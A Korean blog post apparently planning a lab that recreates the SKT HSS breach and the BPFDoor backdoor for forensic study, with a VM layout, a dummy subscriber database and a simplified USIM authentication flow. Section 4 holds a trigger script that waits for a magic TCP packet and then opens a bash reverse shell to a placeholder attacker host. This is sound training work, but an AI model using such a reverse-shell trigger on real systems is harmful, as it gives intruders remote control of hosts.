1. 전체 시스템 개요
[공격자 VM]
|
| (침투 및 백도어 설치)
↓
[HSS 서버 VM] ←→ [내부 DB: 가입자 정보]
↑
| (외부 패킷 캡처 및 인증 응답 시뮬레이션)
↓
[관리자(포렌식) VM]
2. 가상 머신 구성
역할 구성 내용
HSS 서버 | Ubuntu Linux + Flask/Node.js 웹서버 + SQLite/PostgreSQL로 가입자 DB 구성 |
공격자 VM | Kali Linux + Netcat/Metasploit + 악성 BPF 스크립트 로딩 도구 |
포렌식 VM | Ubuntu + Volatility, Wireshark, auditd 등 |
3. HSS 서버 기능 재현 방법
A. 가입자 정보 DB (USIM 관련)
-- subscribers.db
CREATE TABLE subscribers (
id INTEGER PRIMARY KEY,
imsi TEXT,
imei TEXT,
ki TEXT,
phone_number TEXT
);
가입자 데이터를 아래와 같이 임의로 생성
INSERT INTO subscribers (imsi, imei, ki, phone_number)
VALUES ('450061234567890', '356938035643809', 'F23AB9812D...', '01012345678');
B. 인증 프로토콜 시뮬레이션
- RAND + SRES 계산 흐름을 Python으로 단순 재현
- 예시 시나리오: RAND값 입력 → Ki와 XOR → SRES 반환
- HTTP POST로 인증 요청을 주고받으며 시뮬레이션 가능
4. BPFDoor 모사
- 실제 BPFDoor 실행은 위험하므로, 유사 기능을 가진 간이 백도어 스크립트로 대체
- 조건 기반 리버스 셸: 특정 포트의 특정 패킷 수신 시 /bin/bash reverse shell 실행
- 커널 로그 기록 우회는 /dev/null 리디렉션 등으로 흉내
# reverse_shell_trigger.sh
tcpdump -i any port 5555 and 'tcp[13]=0x18' -c 1
bash -i >& /dev/tcp/attacker_ip/4444 0>&1
5. 포렌식 재현을 위한 준비
- auditd로 /var/log/audit/audit.log 기록 활성화
- syslog, bash_history, /tmp, /var/tmp 추적
- volatility로 메모리 덤프 후 분석
- tcpdump로 유출 패킷 캡처
6. 시스템 보안 정책 / 규정 대비
- 개인정보보호법 상의 기술적 보호조치 의무 분석
- HSS와 같은 시스템의 접근통제 정책 미비 분석
- 실제와 유사한 조직도 설정하여 보안 컨설팅 문서화
참고할 만한 자료
자료명 | 설명 |
3GPP TS 23.002 | HSS의 역할과 아키텍처 기술 명세 |
BPFDoor 분석 보고서 | Trend Micro 보고서 |
USIM 인증 흐름 | RAND, Ki, SRES 구조 이해용 글 |
SRLabs SIM Toolkit 공격 사례 | 실제 유심 공격 사례 참고 자료 |
Plura 블로그 | SKT 사건 포스트 상세 정리 |
'Challenger' 카테고리의 다른 글
BPF도어와 포렌식과 eBPF (0) | 2025.05.19 |
---|